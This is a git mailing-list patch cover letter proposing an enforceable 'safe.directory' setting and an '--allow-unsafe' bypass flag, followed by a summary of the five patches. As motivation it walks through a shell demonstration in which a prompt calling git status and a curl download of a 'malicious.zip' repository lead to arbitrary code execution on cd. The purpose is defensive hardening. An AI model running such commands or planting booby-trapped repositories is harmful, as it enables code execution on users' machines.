[PATCH 0/5] Allow enforcing safe.directory

Hey everyone!

As a first step to allow making git more resistant against accidental
arbitrary code execution, Jeff King suggested in

 https://lore.kernel.org/git/20251009224317.77565-1-git@lohmann.sh/T/#m6cce96f9ae58a4341ae3fbbc02110e20547c58bc (local)

to make the "safe.directory" config enforcable.
If a user has a command line status like:

# Let's assume the simplest command status prompt that shows "(+)" if
# there are uncommitted changes:
export PS1='$(if [ -n "$(git status --short 2>/dev/null)" ]; then; echo "(+)"; fi)> '

# You download a random zip folder from the internet, not knowing it is
# actually a repo:
curl --silent https://www.lohmann.sh/nuggits/002-dangerous-git/malicious.zip --output malicious.zip
# unzipping means the folder is owned by the user, so by default git
# assumes it is safe to execute hooks/config
unzip malicious.zip >/dev/null

echo 'Just a "README" no "xxx" file, see:'
ls malicious

# This `cd` now triggers arbitrary code execution due to `git status`:
cd malicious
# now there is an "xxx" file

With this feature, the prompt could either perform
`git --assume-unsafe status` or to make all git invocations by any
programs safe against accidental arbitrary code invocations a user could
set "safe.assumeUnsafe" to true.

Also allow to temporarily bypass this check with a new `--allow-unsafe`
flag.

--Michael

Michael Lohmann (5):
  setup: rename `ensure_safe_repository()` for clarity
  setup: rename `die_upon_assumed_unsafe_repo()` to align with check
  setup: refactor `ensure_safe_repository()` testing priorities
  setup: allow temporary bypass of `ensure_safe_repository()` checks
  setup: allow not marking self owned repos as safe in
    `ensure_safe_repository()`

 Documentation/config/safe.adoc    |  9 ++++
 Documentation/git.adoc            | 25 +++++++++++
 builtin/clone.c                   |  2 +-
 environment.h                     |  2 +
 git.c                             |  9 ++++
 path.c                            |  4 +-
 setup.c                           | 45 ++++++++++++++------
 setup.h                           |  2 +-
 t/meson.build                     |  1 +
 t/t0036-allow-unsafe-directory.sh | 70 +++++++++++++++++++++++++++++++
 10 files changed, 153 insertions(+), 16 deletions(-)
 create mode 100755 t/t0036-allow-unsafe-directory.sh

-- 
2.50.1 (Apple Git-155)